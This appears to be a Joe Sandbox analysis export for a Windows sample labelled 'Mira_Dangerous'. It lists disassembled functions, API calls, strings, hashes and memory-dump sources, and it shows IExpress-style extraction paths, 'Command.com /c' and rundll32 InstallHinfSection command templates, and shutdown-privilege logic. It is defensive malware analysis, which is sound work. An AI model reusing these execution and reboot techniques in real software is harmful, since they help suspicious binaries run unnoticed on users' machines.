Opcode Fuzzy Hash: 94d827d004676d0e23b6a3eaf0944199c835ba76f01473357c705151827b719a
Instruction Fuzzy Hash: 2A51D8B2A1EA4281EB50AB12D4401BDE790FB48B91FC661B1DA4E436B5CE3CE545CB68

Function 00007FF7A8CC6B70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 00007FF7A8CC6BA0

Strings

TMP4351$.TMP, xrefs: 00007FF7A8CC6C03

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: AllocLocal
String ID: TMP4351$.TMP
API String ID: 3494564517-2619824408
Opcode ID: c8f4614371db3ca6a9d3f321fd37180daf8d29d03274309caa627389ef350ab6
Instruction ID: c3238a353d555b99468a7f8b43c57dfa8ae3b44217fb3b7db96c6dcadc65641f
Opcode Fuzzy Hash: c8f4614371db3ca6a9d3f321fd37180daf8d29d03274309caa627389ef350ab6
Instruction Fuzzy Hash: A631B3B1A0964187F710AB25A41037AFA50FB85BB5F8563B4DA6E03BE5CF3CD4068B18

Function 00007FF7A8CC3B40 Relevance: 6.0, APIs: 4, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(?,?,?,?,?,?,?,?,?,00000001,00007FF7A8CC3A09), ref: 00007FF7A8CC3B64
PeekMessageA.USER32 ref: 00007FF7A8CC3B89
DispatchMessageA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF7A8CC3A09), ref: 00007FF7A8CC3BAC
PeekMessageA.USER32 ref: 00007FF7A8CC3BCD

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: 302dad1333796cede5321f5903fce61648418cd9c6d046aa706df1c59a6c2d53
Instruction ID: e652be52b28bcd0493df96bb3495e86607643a3da2b34e588e6d1a85c093c9d0
Opcode Fuzzy Hash: 302dad1333796cede5321f5903fce61648418cd9c6d046aa706df1c59a6c2d53
Instruction Fuzzy Hash: B9115472A29642C7E7A0AF30F454A76EA90FB95745F81A170D64A42994DF3CD048CF14

Function 00007FF7A8CC5690 Relevance: 3.1, APIs: 2, Instructions: 51fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7A8CC3B40: MsgWaitForMultipleObjects.USER32(?,?,?,?,?,?,?,?,?,00000001,00007FF7A8CC3A09), ref: 00007FF7A8CC3B64
Part of subcall function 00007FF7A8CC3B40: PeekMessageA.USER32 ref: 00007FF7A8CC3B89
Part of subcall function 00007FF7A8CC3B40: PeekMessageA.USER32 ref: 00007FF7A8CC3BCD

WriteFile.KERNELBASE ref: 00007FF7A8CC56E4

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: 5420669727f17c0981b348259a16efeb7c1a97139cf77fc2b0c1398b9072be99
Instruction ID: 9691c8ae33c1f10b32206b67bb3f8035eed1c2eb5101da499a3e582770876a2d
Opcode Fuzzy Hash: 5420669727f17c0981b348259a16efeb7c1a97139cf77fc2b0c1398b9072be99
Instruction Fuzzy Hash: 6E21C2A0A1A50282E7109F16E840735FB60FB84B94FD59274DA2D06AB5CF3CD054CF18

Function 00007FF7A8CC51BC Relevance: 3.0, APIs: 2, Instructions: 43COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE ref: 00007FF7A8CC51C9
SetFileAttributesA.KERNEL32 ref: 00007FF7A8CC524E

Part of subcall function 00007FF7A8CC7AC8: FindResourceA.KERNEL32 ref: 00007FF7A8CC7AF2
Part of subcall function 00007FF7A8CC7AC8: LoadResource.KERNEL32 ref: 00007FF7A8CC7B09
Part of subcall function 00007FF7A8CC7AC8: DialogBoxIndirectParamA.USER32 ref: 00007FF7A8CC7B3F
Part of subcall function 00007FF7A8CC7AC8: FreeResource.KERNEL32 ref: 00007FF7A8CC7B51

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: Resource$AttributesFile$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 2018477427-0
Opcode ID: ded777603aae7cf846a654b588ac2905db21abed33c2a04ac96d39e62aa9a68d
Instruction ID: 50b04db940ba5aab8ccb904b849607e379de112d1c169247c383806e65dbe222
Opcode Fuzzy Hash: ded777603aae7cf846a654b588ac2905db21abed33c2a04ac96d39e62aa9a68d
Instruction Fuzzy Hash: 9911ACF1D0E64282F7506B10A5843B5E6E0FB45759FDA62B0D98C02AF5CF7DE485CB18

Function 00007FF7A8CC7BA8 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

CharPrevA.USER32 ref: 00007FF7A8CC7BEF

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: fe64812d24aaa535377f96cafa4c6c3212caf3ba105ea9cba34c300c858a7088
Instruction ID: 44b92f44265f48dae8c42ac872be3c8e98dae27bd6e787dd90a1c82ff481d449
Opcode Fuzzy Hash: fe64812d24aaa535377f96cafa4c6c3212caf3ba105ea9cba34c300c858a7088
Instruction Fuzzy Hash: B20149A190D7D286F3016F19A84436DFBA0E701BE0F99B2B0DB69077E5CF2CD4428B58

Function 00007FF7A8CC5770 Relevance: 1.3, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 00007FF7A8CC57A9

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: b743c40088155ea186d23191c44c420b4fd161faa50afe9f4e766b5de3d239a5
Instruction ID: ada5b055d8488618ddf1801208021bd9c1d2c0bcd573bba9fdb694791f63ffaf
Opcode Fuzzy Hash: b743c40088155ea186d23191c44c420b4fd161faa50afe9f4e766b5de3d239a5
Instruction Fuzzy Hash: DFF06271A19781C2DB1C5F25F580178F660FB48B59F465275DA2B46694CF3CD4D0CB24

Non-executed Functions

Function 00007FF7A8CC1684 Relevance: 37.1, APIs: 10, Strings: 11, Instructions: 350memoryCOMMON

Download Yara Rule

APIs

CompareStringA.KERNEL32 ref: 00007FF7A8CC1838
GetFileAttributesA.KERNEL32 ref: 00007FF7A8CC1852
LocalAlloc.KERNEL32 ref: 00007FF7A8CC18BF
GetPrivateProfileIntA.KERNEL32 ref: 00007FF7A8CC18FC
GetPrivateProfileStringA.KERNEL32 ref: 00007FF7A8CC193F
GetShortPathNameA.KERNEL32 ref: 00007FF7A8CC19AC

Part of subcall function 00007FF7A8CC4DCC: LoadStringA.USER32 ref: 00007FF7A8CC4E60
Part of subcall function 00007FF7A8CC4DCC: MessageBoxA.USER32 ref: 00007FF7A8CC4EA0

Strings

.INF, xrefs: 00007FF7A8CC181A
Reboot, xrefs: 00007FF7A8CC18EB
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF7A8CC17B0
DefaultInstall, xrefs: 00007FF7A8CC18DC
AdvancedINF, xrefs: 00007FF7A8CC1929
.BAT, xrefs: 00007FF7A8CC1A31
setupapi.dll, xrefs: 00007FF7A8CC19BA
Command.com /c %s, xrefs: 00007FF7A8CC1A60
rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 00007FF7A8CC19CE
setupx.dll, xrefs: 00007FF7A8CC19A5
Version, xrefs: 00007FF7A8CC1930

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: .BAT$.INF$AdvancedINF$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-2617288360
Opcode ID: 778cf6c626d3734d743f95605d23599f2518d83d8826cc93d245002d646ef5f5
Instruction ID: c7a3d21b0aa0f6e21cff79e76d04f179d37bea9c7dd2f58c84d1c48e80ab17c1
Opcode Fuzzy Hash: 778cf6c626d3734d743f95605d23599f2518d83d8826cc93d245002d646ef5f5
Instruction Fuzzy Hash: C7E116A2A0A78285EF11AF11D4102F9FBA0FB45744FD561B6DA8D037A4DF3CD90ACB14

Function 00007FF7A8CC3530 Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 174windowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32 ref: 00007FF7A8CC35AA
EndDialog.USER32 ref: 00007FF7A8CC374E
GetDesktopWindow.USER32 ref: 00007FF7A8CC377E
SetWindowTextA.USER32 ref: 00007FF7A8CC379F
SendDlgItemMessageA.USER32 ref: 00007FF7A8CC37C3
GetDlgItem.USER32 ref: 00007FF7A8CC37E0
EnableWindow.USER32 ref: 00007FF7A8CC37F1
EndDialog.USER32 ref: 00007FF7A8CC3804

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF7A8CC3635
Mira, xrefs: 00007FF7A8CC3795
, xrefs: 00007FF7A8CC36B6

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: Window$DialogItem$DesktopEnableLoadMessageSendStringText
String ID: $C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Mira
API String ID: 3530494346-768112549
Opcode ID: dd932c8b8010d96edb1f0d769f6f2aea78bdffa148ff81f52c238f49b3f208aa
Instruction ID: d1a71487c1f98fe526ed66888c45c8643b11596501f2d33eefee9830b7cd71de
Opcode Fuzzy Hash: dd932c8b8010d96edb1f0d769f6f2aea78bdffa148ff81f52c238f49b3f208aa
Instruction Fuzzy Hash: 8F7188E1E0A64286F750AB31B50437AEA51FB85B84FD6A1B0DA4E427B5CF3CD445CF28

Function 00007FF7A8CC12EC Relevance: 16.6, APIs: 11, Instructions: 125memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7A8CC11CC: LoadLibraryA.KERNEL32 ref: 00007FF7A8CC1209
Part of subcall function 00007FF7A8CC11CC: GetProcAddress.KERNEL32 ref: 00007FF7A8CC122B
Part of subcall function 00007FF7A8CC11CC: AllocateAndInitializeSid.ADVAPI32 ref: 00007FF7A8CC1278
Part of subcall function 00007FF7A8CC11CC: FreeSid.ADVAPI32 ref: 00007FF7A8CC12A0
Part of subcall function 00007FF7A8CC11CC: FreeLibrary.KERNEL32 ref: 00007FF7A8CC12AF

GetCurrentProcess.KERNEL32 ref: 00007FF7A8CC134D
OpenProcessToken.ADVAPI32 ref: 00007FF7A8CC1363
GetTokenInformation.ADVAPI32 ref: 00007FF7A8CC138C
GetLastError.KERNEL32 ref: 00007FF7A8CC13A0
LocalAlloc.KERNEL32 ref: 00007FF7A8CC13BA
GetTokenInformation.ADVAPI32 ref: 00007FF7A8CC13E8
AllocateAndInitializeSid.ADVAPI32 ref: 00007FF7A8CC1435
EqualSid.ADVAPI32 ref: 00007FF7A8CC1460
FreeSid.ADVAPI32 ref: 00007FF7A8CC1485
LocalFree.KERNEL32 ref: 00007FF7A8CC1494
CloseHandle.KERNEL32 ref: 00007FF7A8CC14A4

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: 6813b6756910e0ae34933596af1690bcf55f2b4d44473aa3a3cec1d83aee30ca
Instruction ID: 1635b7a13b9a48b68b330ccb2e3258941ac17ecf966582e104d08cf4499729b4
Opcode Fuzzy Hash: 6813b6756910e0ae34933596af1690bcf55f2b4d44473aa3a3cec1d83aee30ca
Instruction Fuzzy Hash: 82513D72A05A41CAE710EF21E4541A9FBA4FB49B88F8261B5DA4E53764DF3CD844CB14

Function 00007FF7A8CC1C0C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 64shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF7A8CC2D7F), ref: 00007FF7A8CC1C21
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,00000000,00007FF7A8CC2D7F), ref: 00007FF7A8CC1C3A
LookupPrivilegeValueA.ADVAPI32 ref: 00007FF7A8CC1C7B
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF7A8CC1CB2
CloseHandle.KERNEL32 ref: 00007FF7A8CC1CC5
ExitWindowsEx.USER32 ref: 00007FF7A8CC1CF1

Strings

SeShutdownPrivilege, xrefs: 00007FF7A8CC1C74

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentExitHandleLookupOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 2829607268-3733053543
Opcode ID: a8a6f1147a46118fc027226cec057dd4a819a4cb88a69f63fe7e4033c388a577
Instruction ID: f34e0cd1e2dc8edb5e0398b8b035b7b92deebc69b65f69c64d8fe250b8ff3319
Opcode Fuzzy Hash: a8a6f1147a46118fc027226cec057dd4a819a4cb88a69f63fe7e4033c388a577
Instruction Fuzzy Hash: A021C3B2A19642C7E710AB20E05537AFB60FB89745F82A1B5E64E03B64CF3CD048CF18

Function 00007FF7A8CC8964 Relevance: 9.0, APIs: 6, Instructions: 49timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7A8CC8994
GetCurrentProcessId.KERNEL32 ref: 00007FF7A8CC89A2
GetCurrentThreadId.KERNEL32 ref: 00007FF7A8CC89AE
GetTickCount.KERNEL32 ref: 00007FF7A8CC89BA
GetTickCount.KERNEL32 ref: 00007FF7A8CC89CA
QueryPerformanceCounter.KERNEL32 ref: 00007FF7A8CC89E5

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: CountCurrentTickTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 4104442557-0
Opcode ID: b417f0ca43b0f1a675a55b1394a59fc23cd165e7830d58b26484a22ad4f1a579
Instruction ID: a2e5ad0bf49d266fe0f8b2ddbeda979ced41c4e712dc11d8067b0d3c639810df
Opcode Fuzzy Hash: b417f0ca43b0f1a675a55b1394a59fc23cd165e7830d58b26484a22ad4f1a579
Instruction Fuzzy Hash: C8116072A15F418AEB00EF71E8442A8B3A4FB09758F811A70EA6D47B64DF7CD168C754

Function 00007FF7A8CC8790 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7A8CC879B

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 5301e7076f5ef957a13bc7f6d002c3f7f3b9a25b2f64b703cbde4610621febb0
Instruction ID: 857d5a6b265e7f73ef3693e110052fcef879feb1418a97ee8cbcf0f48585e4a0
Opcode Fuzzy Hash: 5301e7076f5ef957a13bc7f6d002c3f7f3b9a25b2f64b703cbde4610621febb0
Instruction Fuzzy Hash: B2B09250E36802C1D604BB219C8906193A0BB58305FC218B0C00E80170EE2C92AA8B14

Function 00007FF7A8CC70A8 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

CharNextA.USER32 ref: 00007FF7A8CC7120
GetModuleFileNameA.KERNEL32 ref: 00007FF7A8CC71FB
CharUpperA.USER32 ref: 00007FF7A8CC723E
CharUpperA.USER32 ref: 00007FF7A8CC72D4
CompareStringA.KERNEL32 ref: 00007FF7A8CC7368
CharUpperA.USER32 ref: 00007FF7A8CC73A3
CharUpperA.USER32 ref: 00007FF7A8CC73FF
CharUpperA.USER32 ref: 00007FF7A8CC7498
CloseHandle.KERNEL32 ref: 00007FF7A8CC769E
ExitProcess.KERNEL32 ref: 00007FF7A8CC76AC

Strings

RegServer, xrefs: 00007FF7A8CC7359
@, xrefs: 00007FF7A8CC767E
:, xrefs: 00007FF7A8CC7443
", xrefs: 00007FF7A8CC7187

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$:$@$RegServer
API String ID: 1203814774-4077547207
Opcode ID: 12e526643e99c6bb7d7205562943e2c704484fdb71f38b6add3df85e74ee9651
Instruction ID: 97471e0229723035f689c78a49dc4119c20b25c5046b58ebf4d60b7a49b65180
Opcode Fuzzy Hash: 12e526643e99c6bb7d7205562943e2c704484fdb71f38b6add3df85e74ee9651
Instruction Fuzzy Hash: A602F6E1E0E69281FA60AB2C5404279EBB1EF41750FDA61B5D95E067B5CF3DE402CF28

Function 00007FF7A8CC3910 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 119threadwindowCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32 ref: 00007FF7A8CC3964
ResetEvent.KERNEL32 ref: 00007FF7A8CC398C
SetEvent.KERNEL32 ref: 00007FF7A8CC39D3
GetDesktopWindow.USER32 ref: 00007FF7A8CC3A18
GetDlgItem.USER32 ref: 00007FF7A8CC3A42
SendMessageA.USER32 ref: 00007FF7A8CC3A5F
GetDlgItem.USER32 ref: 00007FF7A8CC3A70
SendMessageA.USER32 ref: 00007FF7A8CC3A8F
SetWindowTextA.USER32 ref: 00007FF7A8CC3AA5
CreateThread.KERNEL32 ref: 00007FF7A8CC3AD0
EndDialog.USER32 ref: 00007FF7A8CC3B1A

Strings

Mira, xrefs: 00007FF7A8CC3A9B
, xrefs: 00007FF7A8CC39B6

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

API ID: EventItemMessageSendThreadWindow$CreateDesktopDialogResetTerminateText
String ID: $Mira
API String ID: 2654313074-2347440036
Opcode ID: b4fcab3b6f490310a2b8cce2bae229ee8661eef1c6ec9abe373251f3728e1e1d
Instruction ID: 8c567689f1111c8ade9326644b555ba8ceda5fa36a262a4cd42c275c33542b04
Opcode Fuzzy Hash: b4fcab3b6f490310a2b8cce2bae229ee8661eef1c6ec9abe373251f3728e1e1d
Instruction Fuzzy Hash: 3A5167B190A642C6E710AB21F954279FB61FB89B55FC6A2B1D91D03BB4CF3C9045CF18

Function 00007FF7A8CC4A60 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 123libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A8CC35E3), ref: 00007FF7A8CC4A86
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A8CC35E3), ref: 00007FF7A8CC4AAA
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A8CC35E3), ref: 00007FF7A8CC4ACA
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A8CC35E3), ref: 00007FF7A8CC4AEC
GetTempPathA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A8CC35E3), ref: 00007FF7A8CC4B1B
CharPrevA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A8CC35E3), ref: 00007FF7A8CC4B3A
CharPrevA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A8CC35E3), ref: 00007FF7A8CC4B54
FreeLibrary.KERNEL32 ref: 00007FF7A8CC4BF1
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A8CC35E3), ref: 00007FF7A8CC4C0D

Strings

SHBrowseForFolder, xrefs: 00007FF7A8CC4AA0
SHGetPathFromIDList, xrefs: 00007FF7A8CC4AE2
SHELL32.DLL, xrefs: 00007FF7A8CC4A7F

Memory Dump Source

Source File: 00000000.00000002.1238717559.00007FF7A8CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7A8CC0000, based on PE: true

Associated: 00000000.00000002.1238704677.00007FF7A8CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238731275.00007FF7A8CC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238749187.00007FF7A8CCC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1238763219.00007FF7A8CCE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7a8cc0000_Mira_Dangerous.jbxd

Similarity

